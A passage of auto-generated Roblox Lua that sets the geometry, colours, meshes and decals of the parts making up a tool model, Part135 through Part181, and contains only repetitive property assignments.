  2186. SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2187. SpecialMesh134.MeshType = Enum.MeshType.Wedge
  2188. SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2189. Part135.Parent = Tool0
  2190. Part135.Material = Enum.Material.SmoothPlastic
  2191. Part135.BrickColor = BrickColor.new("Black")
  2192. Part135.Reflectance = 0.050000000745058
  2193. Part135.Rotation = Vector3.new(0, -0.539999962, 180)
  2194. Part135.Anchored = true
  2195. Part135.FormFactor = Enum.FormFactor.Custom
  2196. Part135.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2197. Part135.CFrame = CFrame.new(27.0936279, 1.05126905, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  2198. Part135.BottomSurface = Enum.SurfaceType.Smooth
  2199. Part135.TopSurface = Enum.SurfaceType.Smooth
  2200. Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2201. Part135.Position = Vector3.new(27.0936279, 1.05126905, 138.235168)
  2202. Part135.Orientation = Vector3.new(0, -0.539999962, 180)
  2203. Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2204. SpecialMesh136.Parent = Part135
  2205. SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  2206. SpecialMesh136.MeshType = Enum.MeshType.Wedge
  2207. SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  2208. Part137.Parent = Tool0
  2209. Part137.Material = Enum.Material.SmoothPlastic
  2210. Part137.BrickColor = BrickColor.new("Brick yellow")
  2211. Part137.Reflectance = 0.050000000745058
  2212. Part137.Rotation = Vector3.new(-61.3099976, -0.25999999, 179.529999)
  2213. Part137.Anchored = true
  2214. Part137.FormFactor = Enum.FormFactor.Custom
  2215. Part137.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2216. Part137.CFrame = CFrame.new(27.0914307, 0.69116199, 138.467163, -0.999955833, -0.00823810697, -0.00450787693, 7.35136609e-08, -0.480031699, 0.877250612, -0.00939126313, 0.877211511, 0.480010271)
  2217. Part137.BottomSurface = Enum.SurfaceType.Smooth
  2218. Part137.TopSurface = Enum.SurfaceType.Smooth
  2219. Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2220. Part137.Position = Vector3.new(27.0914307, 0.69116199, 138.467163)
  2221. Part137.Orientation = Vector3.new(-61.3099976, -0.539999962, 180)
  2222. Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2223. SpecialMesh138.Parent = Part137
  2224. SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2225. SpecialMesh138.MeshType = Enum.MeshType.Wedge
  2226. SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2227. Part139.Parent = Tool0
  2228. Part139.Material = Enum.Material.SmoothPlastic
  2229. Part139.BrickColor = BrickColor.new("Black")
  2230. Part139.Reflectance = 0.050000000745058
  2231. Part139.Rotation = Vector3.new(90.1100006, -12, 90.5499954)
  2232. Part139.Anchored = true
  2233. Part139.FormFactor = Enum.FormFactor.Custom
  2234. Part139.Size = Vector3.new(0.330000013, 0.200000003, 0.200000003)
  2235. Part139.CFrame = CFrame.new(26.9669189, 1.213135, 138.983887, -0.00939138234, -0.978104293, -0.207902461, 1.14688889e-08, 0.207911626, -0.978147209, 0.999955058, -0.00918611884, -0.00195264444)
  2236. Part139.BottomSurface = Enum.SurfaceType.Smooth
  2237. Part139.TopSurface = Enum.SurfaceType.Smooth
  2238. Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2239. Part139.Position = Vector3.new(26.9669189, 1.213135, 138.983887)
  2240. Part139.Orientation = Vector3.new(78, -90.5400009, 0)
  2241. Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2242. Decal140.Parent = Part139
  2243. Decal140.Texture = "http://www.roblox.com/asset/?id=65628034"
  2244. Decal140.Face = Enum.NormalId.Bottom
  2245. BlockMesh141.Parent = Part139
  2246. BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
  2247. BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
  2248. Part142.Parent = Tool0
  2249. Part142.Material = Enum.Material.SmoothPlastic
  2250. Part142.BrickColor = BrickColor.new("Brick yellow")
  2251. Part142.Reflectance = 0.050000000745058
  2252. Part142.Rotation = Vector3.new(-151.309998, 0.469999999, 179.73999)
  2253. Part142.Anchored = true
  2254. Part142.FormFactor = Enum.FormFactor.Custom
  2255. Part142.Size = Vector3.new(0.209999993, 0.468000025, 0.239999995)
  2256. Part142.CFrame = CFrame.new(27.0928955, 0.732177973, 138.332642, -0.999955833, -0.00450787693, 0.00823824108, 7.35136609e-08, 0.877250671, 0.480031699, -0.00939126313, 0.480010271, -0.87721169)
  2257. Part142.BottomSurface = Enum.SurfaceType.Smooth
  2258. Part142.TopSurface = Enum.SurfaceType.Smooth
  2259. Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2260. Part142.Position = Vector3.new(27.0928955, 0.732177973, 138.332642)
  2261. Part142.Orientation = Vector3.new(-28.6899986, 179.459991, 0)
  2262. Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2263. BlockMesh143.Parent = Part142
  2264. BlockMesh143.Offset = Vector3.new(0, -0.0419999994, 0)
  2265. BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
  2266. BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
  2267. Part144.Parent = Tool0
  2268. Part144.Material = Enum.Material.SmoothPlastic
  2269. Part144.BrickColor = BrickColor.new("Black")
  2270. Part144.Reflectance = 0.050000000745058
  2271. Part144.Rotation = Vector3.new(90, 0, 165.539993)
  2272. Part144.Anchored = true
  2273. Part144.FormFactor = Enum.FormFactor.Custom
  2274. Part144.Size = Vector3.new(0.200000003, 0.449999988, 0.200000003)
  2275. Part144.CFrame = CFrame.new(26.9614258, 1.28222597, 138.385986, -0.968313754, -0.249736801, -7.44484936e-08, 9.68605463e-08, -7.74534854e-08, -0.999999583, 0.249736413, -0.968312979, 9.9188938e-08)
  2276. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2277. Part144.TopSurface = Enum.SurfaceType.Smooth
  2278. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2279. Part144.Position = Vector3.new(26.9614258, 1.28222597, 138.385986)
  2280. Part144.Orientation = Vector3.new(89.9499969, -36.8899994, 128.649994)
  2281. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2282. CylinderMesh145.Parent = Part144
  2283. CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
  2284. CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
  2285. Part146.Parent = Tool0
  2286. Part146.Material = Enum.Material.SmoothPlastic
  2287. Part146.BrickColor = BrickColor.new("Black")
  2288. Part146.Reflectance = 0.050000000745058
  2289. Part146.Rotation = Vector3.new(0, -0.539999962, 180)
  2290. Part146.Anchored = true
  2291. Part146.FormFactor = Enum.FormFactor.Custom
  2292. Part146.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2293. Part146.CFrame = CFrame.new(27.0931396, 1.06030297, 138.265137, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  2294. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2295. Part146.TopSurface = Enum.SurfaceType.Smooth
  2296. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2297. Part146.Position = Vector3.new(27.0931396, 1.06030297, 138.265137)
  2298. Part146.Orientation = Vector3.new(0, -0.539999962, 180)
  2299. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2300. BlockMesh147.Parent = Part146
  2301. BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  2302. BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  2303. Part148.Parent = Tool0
  2304. Part148.Material = Enum.Material.SmoothPlastic
  2305. Part148.BrickColor = BrickColor.new("Black")
  2306. Part148.Reflectance = 0.050000000745058
  2307. Part148.Rotation = Vector3.new(90, 0, 0.539999962)
  2308. Part148.Anchored = true
  2309. Part148.FormFactor = Enum.FormFactor.Custom
  2310. Part148.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2311. Part148.CFrame = CFrame.new(27.0906982, 0.835205019, 138.562073, 0.999955833, -0.00939106941, -7.51575016e-08, -7.35136609e-08, 1.7538153e-07, -0.999999523, 0.00939126313, 0.999955058, 1.74683436e-07)
  2312. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2313. Part148.TopSurface = Enum.SurfaceType.Smooth
  2314. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2315. Part148.Position = Vector3.new(27.0906982, 0.835205019, 138.562073)
  2316. Part148.Orientation = Vector3.new(89.9399948, -23.2799988, -22.7399998)
  2317. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2318. SpecialMesh149.Parent = Part148
  2319. SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2320. SpecialMesh149.MeshType = Enum.MeshType.Wedge
  2321. SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2322. Part150.Parent = Tool0
  2323. Part150.Material = Enum.Material.SmoothPlastic
  2324. Part150.BrickColor = BrickColor.new("Dark stone grey")
  2325. Part150.Reflectance = 0.050000000745058
  2326. Part150.Rotation = Vector3.new(180, 75.5400009, 90)
  2327. Part150.Anchored = true
  2328. Part150.FormFactor = Enum.FormFactor.Custom
  2329. Part150.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2330. Part150.CFrame = CFrame.new(26.8951416, 1.28222597, 138.124695, -6.36223589e-08, -0.24973698, 0.968313515, -0.999999583, -1.30446693e-07, -9.93476377e-08, 1.5112407e-07, -0.968312979, -0.249736756)
  2331. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2332. Part150.TopSurface = Enum.SurfaceType.Smooth
  2333. Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2334. Part150.Position = Vector3.new(26.8951416, 1.28222597, 138.124695)
  2335. Part150.Orientation = Vector3.new(0, 104.459999, -90)
  2336. Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2337. CylinderMesh151.Parent = Part150
  2338. CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
  2339. CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
  2340. Part152.Parent = Tool0
  2341. Part152.Material = Enum.Material.SmoothPlastic
  2342. Part152.BrickColor = BrickColor.new("Brick yellow")
  2343. Part152.Reflectance = 0.050000000745058
  2344. Part152.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
  2345. Part152.Anchored = true
  2346. Part152.FormFactor = Enum.FormFactor.Custom
  2347. Part152.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2348. Part152.CFrame = CFrame.new(27.0914307, 0.711181998, 138.478333, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031669, -0.877250552, 0.00939126313, 0.877211511, -0.480010271)
  2349. Part152.BottomSurface = Enum.SurfaceType.Smooth
  2350. Part152.TopSurface = Enum.SurfaceType.Smooth
  2351. Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2352. Part152.Position = Vector3.new(27.0914307, 0.711181998, 138.478333)
  2353. Part152.Orientation = Vector3.new(61.3099976, 179.459991, -180)
  2354. Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2355. SpecialMesh153.Parent = Part152
  2356. SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2357. SpecialMesh153.MeshType = Enum.MeshType.Wedge
  2358. SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2359. Part154.Parent = Tool0
  2360. Part154.Material = Enum.Material.SmoothPlastic
  2361. Part154.BrickColor = BrickColor.new("Brick yellow")
  2362. Part154.Reflectance = 0.050000000745058
  2363. Part154.Rotation = Vector3.new(180, 0.539999962, -180)
  2364. Part154.Anchored = true
  2365. Part154.FormFactor = Enum.FormFactor.Custom
  2366. Part154.Size = Vector3.new(0.209999993, 0.200000003, 0.270000011)
  2367. Part154.CFrame = CFrame.new(27.0947266, 0.877197027, 138.41217, -0.999955833, 7.65568586e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -3.24393056e-07, -0.00939126313, -3.2368834e-07, -0.999955058)
  2368. Part154.BottomSurface = Enum.SurfaceType.Smooth
  2369. Part154.TopSurface = Enum.SurfaceType.Smooth
  2370. Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2371. Part154.Position = Vector3.new(27.0947266, 0.877197027, 138.41217)
  2372. Part154.Orientation = Vector3.new(0, 179.459991, 0)
  2373. Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2374. BlockMesh155.Parent = Part154
  2375. BlockMesh155.Offset = Vector3.new(0.00300000003, -0.01425, 0)
  2376. BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
  2377. BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
  2378. Part156.Parent = Tool0
  2379. Part156.Material = Enum.Material.SmoothPlastic
  2380. Part156.BrickColor = BrickColor.new("Dark stone grey")
  2381. Part156.Reflectance = 0.050000000745058
  2382. Part156.Transparency = 1
  2383. Part156.Rotation = Vector3.new(-180, 0.539999962, -180)
  2384. Part156.Anchored = true
  2385. Part156.FormFactor = Enum.FormFactor.Custom
  2386. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2387. Part156.CFrame = CFrame.new(27.09375, 1.414307, 138.217346, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  2388. Part156.BottomSurface = Enum.SurfaceType.Smooth
  2389. Part156.TopSurface = Enum.SurfaceType.Smooth
  2390. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2391. Part156.Position = Vector3.new(27.09375, 1.414307, 138.217346)
  2392. Part156.Orientation = Vector3.new(0, 179.459991, 0)
  2393. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2394. BlockMesh157.Parent = Part156
  2395. BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
  2396. BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
  2397. Part158.Parent = Tool0
  2398. Part158.Material = Enum.Material.SmoothPlastic
  2399. Part158.BrickColor = BrickColor.new("Black")
  2400. Part158.Reflectance = 0.050000000745058
  2401. Part158.Rotation = Vector3.new(-180, -89.4599991, -90)
  2402. Part158.Anchored = true
  2403. Part158.FormFactor = Enum.FormFactor.Custom
  2404. Part158.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  2405. Part158.CFrame = CFrame.new(27.0986328, 1.27026403, 138.982239, 7.63110108e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.42566968e-08, -2.18385907e-07, -0.999955297, -0.00939120352)
  2406. Part158.BottomSurface = Enum.SurfaceType.Smooth
  2407. Part158.TopSurface = Enum.SurfaceType.Smooth
  2408. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2409. Part158.Position = Vector3.new(27.0986328, 1.27026403, 138.982239)
  2410. Part158.Orientation = Vector3.new(0, -90.5400009, 90)
  2411. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2412. CylinderMesh159.Parent = Part158
  2413. CylinderMesh159.Offset = Vector3.new(0.00300000003, -0.00300000003, 0.00150000001)
  2414. CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
  2415. CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
  2416. Part160.Parent = Tool0
  2417. Part160.Material = Enum.Material.SmoothPlastic
  2418. Part160.BrickColor = BrickColor.new("Black")
  2419. Part160.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
  2420. Part160.Anchored = true
  2421. Part160.FormFactor = Enum.FormFactor.Custom
  2422. Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2423. Part160.CFrame = CFrame.new(27.0817871, 0.855225027, 139.47522, 0.999955893, -0.00469633937, 0.00813275576, -4.37112533e-08, -0.86598748, -0.500062525, 0.00939150155, 0.500040412, -0.865949214)
  2424. Part160.BottomSurface = Enum.SurfaceType.Smooth
  2425. Part160.TopSurface = Enum.SurfaceType.Smooth
  2426. Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2427. Part160.Position = Vector3.new(27.0817871, 0.855225027, 139.47522)
  2428. Part160.Orientation = Vector3.new(30, 179.459991, -180)
  2429. Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2430. BlockMesh161.Parent = Part160
  2431. BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
  2432. BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
  2433. Part162.Parent = Tool0
  2434. Part162.Material = Enum.Material.SmoothPlastic
  2435. Part162.BrickColor = BrickColor.new("Black")
  2436. Part162.Rotation = Vector3.new(-30.0100002, -0.469999999, 179.729996)
  2437. Part162.Anchored = true
  2438. Part162.FormFactor = Enum.FormFactor.Custom
  2439. Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2440. Part162.CFrame = CFrame.new(27.0822754, 0.845215023, 139.457214, -0.999955893, -0.00469633937, -0.00813275576, 4.37112533e-08, -0.86598748, 0.500062525, -0.00939150155, 0.500040412, 0.865949214)
  2441. Part162.BottomSurface = Enum.SurfaceType.Smooth
  2442. Part162.TopSurface = Enum.SurfaceType.Smooth
  2443. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2444. Part162.Position = Vector3.new(27.0822754, 0.845215023, 139.457214)
  2445. Part162.Orientation = Vector3.new(-30, -0.539999962, 180)
  2446. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2447. SpecialMesh163.Parent = Part162
  2448. SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
  2449. SpecialMesh163.MeshType = Enum.MeshType.Wedge
  2450. SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
  2451. Part164.Parent = Tool0
  2452. Part164.Material = Enum.Material.SmoothPlastic
  2453. Part164.BrickColor = BrickColor.new("Black")
  2454. Part164.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
  2455. Part164.Anchored = true
  2456. Part164.FormFactor = Enum.FormFactor.Custom
  2457. Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2458. Part164.CFrame = CFrame.new(27.0821533, 0.863281012, 139.488281, 0.999955893, -0.00469634682, 0.00813275576, -4.3711136e-08, -0.865985572, -0.500061572, 0.00939150155, 0.500039399, -0.865947366)
  2459. Part164.BottomSurface = Enum.SurfaceType.Smooth
  2460. Part164.TopSurface = Enum.SurfaceType.Smooth
  2461. Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2462. Part164.Position = Vector3.new(27.0821533, 0.863281012, 139.488281)
  2463. Part164.Orientation = Vector3.new(30, 179.459991, -180)
  2464. Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2465. Decal165.Parent = Part164
  2466. Decal165.Texture = "http://www.roblox.com/asset/?id=65628034"
  2467. Decal165.Face = Enum.NormalId.Bottom
  2468. SpecialMesh166.Parent = Part164
  2469. SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
  2470. SpecialMesh166.MeshType = Enum.MeshType.Wedge
  2471. SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
  2472. Part167.Parent = Tool0
  2473. Part167.Material = Enum.Material.SmoothPlastic
  2474. Part167.BrickColor = BrickColor.new("Black")
  2475. Part167.Rotation = Vector3.new(-180, -89.4599991, 120.009995)
  2476. Part167.Anchored = true
  2477. Part167.FormFactor = Enum.FormFactor.Custom
  2478. Part167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2479. Part167.CFrame = CFrame.new(27.0826416, 0.987304986, 139.373901, -0.00469636917, -0.00813265145, -0.999955893, -0.865986645, 0.500062168, 4.37110863e-08, 0.500039935, 0.865948439, -0.00939150155)
  2480. Part167.BottomSurface = Enum.SurfaceType.Smooth
  2481. Part167.TopSurface = Enum.SurfaceType.Smooth
  2482. Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2483. Part167.Position = Vector3.new(27.0826416, 0.987304986, 139.373901)
  2484. Part167.Orientation = Vector3.new(0, -90.5400009, -60)
  2485. Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2486. BlockMesh168.Parent = Part167
  2487. BlockMesh168.Offset = Vector3.new(0.0149999997, 0.00600000005, 0)
  2488. BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
  2489. BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
  2490. Part169.Parent = Tool0
  2491. Part169.Material = Enum.Material.SmoothPlastic
  2492. Part169.BrickColor = BrickColor.new("Black")
  2493. Part169.Rotation = Vector3.new(-180, -89.4599991, -150)
  2494. Part169.Anchored = true
  2495. Part169.FormFactor = Enum.FormFactor.Custom
  2496. Part169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2497. Part169.CFrame = CFrame.new(27.0803223, 1.00415003, 139.671265, -0.00813287497, 0.00469574332, -0.999955893, 0.500007033, 0.866016328, 4.37110863e-08, 0.865977883, -0.499984801, -0.00939150155)
  2498. Part169.BottomSurface = Enum.SurfaceType.Smooth
  2499. Part169.TopSurface = Enum.SurfaceType.Smooth
  2500. Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2501. Part169.Position = Vector3.new(27.0803223, 1.00415003, 139.671265)
  2502. Part169.Orientation = Vector3.new(0, -90.5400009, 30)
  2503. Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2504. BlockMesh170.Parent = Part169
  2505. BlockMesh170.Offset = Vector3.new(-0.103500001, 0.032250002, 0)
  2506. BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
  2507. BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
  2508. Part171.Parent = Tool0
  2509. Part171.Material = Enum.Material.SmoothPlastic
  2510. Part171.BrickColor = BrickColor.new("Black")
  2511. Part171.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
  2512. Part171.Anchored = true
  2513. Part171.FormFactor = Enum.FormFactor.Custom
  2514. Part171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2515. Part171.CFrame = CFrame.new(27.0795898, 0.996093988, 139.719849, -0.999955893, -0.00469574332, -0.00813275576, 4.37111325e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
  2516. Part171.BottomSurface = Enum.SurfaceType.Smooth
  2517. Part171.TopSurface = Enum.SurfaceType.Smooth
  2518. Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2519. Part171.Position = Vector3.new(27.0795898, 0.996093988, 139.719849)
  2520. Part171.Orientation = Vector3.new(-30, -0.539999962, 180)
  2521. Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2522. BlockMesh172.Parent = Part171
  2523. BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
  2524. BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
  2525. Part173.Parent = Tool0
  2526. Part173.Material = Enum.Material.SmoothPlastic
  2527. Part173.BrickColor = BrickColor.new("Black")
  2528. Part173.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
  2529. Part173.Anchored = true
  2530. Part173.FormFactor = Enum.FormFactor.Custom
  2531. Part173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2532. Part173.CFrame = CFrame.new(27.079834, 0.985107005, 139.702026, -0.999955893, -0.00469574332, -0.00813275576, 4.37111645e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
  2533. Part173.BottomSurface = Enum.SurfaceType.Smooth
  2534. Part173.TopSurface = Enum.SurfaceType.Smooth
  2535. Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2536. Part173.Position = Vector3.new(27.079834, 0.985107005, 139.702026)
  2537. Part173.Orientation = Vector3.new(-30, -0.539999962, 180)
  2538. Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2539. SpecialMesh174.Parent = Part173
  2540. SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
  2541. SpecialMesh174.MeshType = Enum.MeshType.Wedge
  2542. SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
  2543. Part175.Parent = Tool0
  2544. Part175.Material = Enum.Material.SmoothPlastic
  2545. Part175.BrickColor = BrickColor.new("Black")
  2546. Part175.Rotation = Vector3.new(-180, -89.4599991, -180)
  2547. Part175.Anchored = true
  2548. Part175.FormFactor = Enum.FormFactor.Custom
  2549. Part175.Size = Vector3.new(0.779999971, 0.200000003, 0.200000003)
  2550. Part175.CFrame = CFrame.new(27.0797119, 1.07519495, 139.687134, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  2551. Part175.BottomSurface = Enum.SurfaceType.Smooth
  2552. Part175.TopSurface = Enum.SurfaceType.Smooth
  2553. Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2554. Part175.Position = Vector3.new(27.0797119, 1.07519495, 139.687134)
  2555. Part175.Orientation = Vector3.new(0, -90.5400009, 0)
  2556. Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2557. BlockMesh176.Parent = Part175
  2558. BlockMesh176.Offset = Vector3.new(0, 0.00900000054, 0)
  2559. BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
  2560. BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
  2561. Part177.Parent = Tool0
  2562. Part177.Material = Enum.Material.SmoothPlastic
  2563. Part177.BrickColor = BrickColor.new("Black")
  2564. Part177.Rotation = Vector3.new(150, 0.469999999, 0.269999981)
  2565. Part177.Anchored = true
  2566. Part177.FormFactor = Enum.FormFactor.Custom
  2567. Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2568. Part177.CFrame = CFrame.new(27.0797119, 1.00610304, 139.738525, 0.999955893, -0.00469574332, 0.00813275576, -4.37111325e-08, -0.86601609, -0.500007153, 0.00939150155, 0.499985039, -0.865977705)
  2569. Part177.BottomSurface = Enum.SurfaceType.Smooth
  2570. Part177.TopSurface = Enum.SurfaceType.Smooth
  2571. Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2572. Part177.Position = Vector3.new(27.0797119, 1.00610304, 139.738525)
  2573. Part177.Orientation = Vector3.new(30, 179.459991, -180)
  2574. Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2575. SpecialMesh178.Parent = Part177
  2576. SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
  2577. SpecialMesh178.MeshType = Enum.MeshType.Wedge
  2578. SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
  2579. Part179.Parent = Tool0
  2580. Part179.Material = Enum.Material.SmoothPlastic
  2581. Part179.BrickColor = BrickColor.new("Brick yellow")
  2582. Part179.Rotation = Vector3.new(0, 89.4599991, 180)
  2583. Part179.Anchored = true
  2584. Part179.FormFactor = Enum.FormFactor.Custom
  2585. Part179.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
  2586. Part179.CFrame = CFrame.new(26.9969482, 1.08422804, 139.881348, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
  2587. Part179.BottomSurface = Enum.SurfaceType.Smooth
  2588. Part179.TopSurface = Enum.SurfaceType.Smooth
  2589. Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2590. Part179.Position = Vector3.new(26.9969482, 1.08422804, 139.881348)
  2591. Part179.Orientation = Vector3.new(0, 89.4599991, -180)
  2592. Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2593. SpecialMesh180.Parent = Part179
  2594. SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2595. SpecialMesh180.MeshType = Enum.MeshType.Wedge
  2596. SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2597. Part181.Parent = Tool0
  2598. Part181.Material = Enum.Material.SmoothPlastic
  2599. Part181.BrickColor = BrickColor.new("Brick yellow")
  2600. Part181.Rotation = Vector3.new(-180, -89.4599991, 0)
  2601. Part181.Anchored = true
  2602. Part181.FormFactor = Enum.FormFactor.Custom
  2603. Part181.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
  2604. Part181.CFrame = CFrame.new(27.1591797, 1.08422804, 139.883057, 0.00939145684, -4.35706298e-08, -0.999955893, 1.4781123e-08, -0.99999994, 4.37113812e-08, -0.999955773, -1.51909649e-08, -0.00939150155)
  2605. Part181.BottomSurface = Enum.SurfaceType.Smooth
  2606. Part181.TopSurface = Enum.SurfaceType.Smooth
  2607. Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2608. Part181.Position = Vector3.new(27.1591797, 1.08422804, 139.883057)
  2609. Part181.Orientation = Vector3.new(0, -90.5400009, 180)
